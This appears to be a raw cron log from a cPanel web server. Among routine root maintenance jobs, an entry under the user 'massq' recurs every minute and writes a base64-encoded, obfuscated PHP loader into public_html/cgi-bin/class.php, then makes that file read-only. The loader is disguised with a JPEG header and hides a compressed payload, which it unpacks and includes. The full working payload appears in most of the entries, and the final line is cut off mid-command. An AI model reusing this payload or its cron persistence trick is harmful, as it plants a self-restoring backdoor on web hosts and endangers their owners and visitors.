Aug 30 17:29:01 server CROND[26346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:29:01 server CROND[26347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:29:01 server CROND[26348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:30:01 server CROND[26740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:30:01 server CROND[26741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:30:01 server CROND[26745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:30:01 server CROND[26744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:30:01 server CROND[26749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:30:01 server CROND[26748]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:30:01 server CROND[26746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:30:01 server CROND[26750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:31:01 server CROND[27596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:31:01 server CROND[27597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:31:01 server CROND[27598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:32:01 server CROND[28067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:32:01 server CROND[28068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:32:01 server CROND[28066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:33:01 server CROND[28450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:33:01 server CROND[28451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:33:01 server CROND[28449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:34:01 server CROND[28837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:34:01 server CROND[28838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:34:01 server CROND[28839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:35:01 server CROND[29230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:35:01 server CROND[29232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:35:01 server CROND[29240]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 17:35:01 server CROND[29245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:35:01 server CROND[29247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:35:01 server CROND[29251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:35:01 server CROND[29246]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:35:01 server CROND[29249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:35:01 server CROND[29248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:36:01 server CROND[30109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:36:01 server CROND[30110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:36:01 server CROND[30111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:37:01 server CROND[30485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:37:01 server CROND[30486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:37:01 server CROND[30487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:38:01 server CROND[30973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:38:01 server CROND[30974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:38:01 server CROND[30975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:39:01 server CROND[31342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:39:01 server CROND[31343]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 17:39:01 server CROND[31401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:39:01 server CROND[31344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:40:01 server CROND[31772]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:40:01 server CROND[31771]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:40:01 server CROND[31775]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:40:01 server CROND[31774]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:40:01 server CROND[31778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:40:01 server CROND[31776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 